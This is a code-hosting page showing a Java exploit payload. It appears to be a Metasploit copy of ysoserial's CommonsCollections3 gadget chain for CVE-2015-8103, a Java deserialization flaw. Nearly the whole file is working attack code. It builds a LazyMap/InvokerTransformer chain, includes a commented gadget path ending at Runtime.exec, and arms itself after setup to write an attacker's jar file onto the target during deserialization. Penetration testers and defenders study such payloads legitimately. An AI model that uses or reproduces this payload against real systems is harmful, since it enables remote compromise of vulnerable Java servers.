Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2015-8103/payloads/CommonsCollections3.java
Views: 11784
package ysoserial.payloads;12import java.io.File;3import java.io.FileInputStream;4import java.lang.reflect.InvocationHandler;5import java.util.HashMap;6import java.util.Map;78import org.apache.commons.collections.Transformer;9import org.apache.commons.collections.functors.ChainedTransformer;10import org.apache.commons.collections.functors.ConstantTransformer;11import org.apache.commons.collections.functors.InvokerTransformer;12import org.apache.commons.collections.map.LazyMap;13import org.apache.commons.io.FileUtils;1415import ysoserial.payloads.annotation.Dependencies;16import ysoserial.payloads.util.Gadgets;17import ysoserial.payloads.util.PayloadRunner;18import ysoserial.payloads.util.Reflections;1920/*21Gadget chain:22ObjectInputStream.readObject()23AnnotationInvocationHandler.readObject()24Map(Proxy).entrySet()25AnnotationInvocationHandler.invoke()26LazyMap.get()27ChainedTransformer.transform()28ConstantTransformer.transform()29InvokerTransformer.transform()30Method.invoke()31Class.getMethod()32InvokerTransformer.transform()33Method.invoke()34Runtime.getRuntime()35InvokerTransformer.transform()36Method.invoke()37Runtime.exec()3839Requires:40commons-collections41*/42@SuppressWarnings({"rawtypes", "unchecked"})43@Dependencies({"commons-collections:commons-collections:3.1"})44public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<InvocationHandler> {4546public InvocationHandler getObject(final String command) throws Exception {47final File f = new File("/tmp/ysocereal.jar");48final byte[] bFile = FileUtils.readFileToByteArray(new File("/tmp/pwned.jar"));4950// inert chain for setup51final Transformer transformerChain = new ChainedTransformer(52new Transformer[]{ new ConstantTransformer(1) });53// real chain for after setup54final Transformer[] transformers = new Transformer[] {55new ConstantTransformer(FileUtils.class),56new InvokerTransformer("getMethod", new Class[] {57String.class, Class[].class }, new Object[] {58"writeByteArrayToFile", new Class[]{File.class, byte[].class} }),59new InvokerTransformer("invoke", new Class[] {60Object.class, Object[].class }, new Object[] {61null, new Object[]{f,bFile} }),62new ConstantTransformer(1) };6364final Map innerMap = new HashMap();6566final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);6768final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);6970final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);7172Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain7374return handler;75}7677public static void main(final String[] args) throws Exception {78PayloadRunner.run(CommonsCollections3.class, args);79}80}818283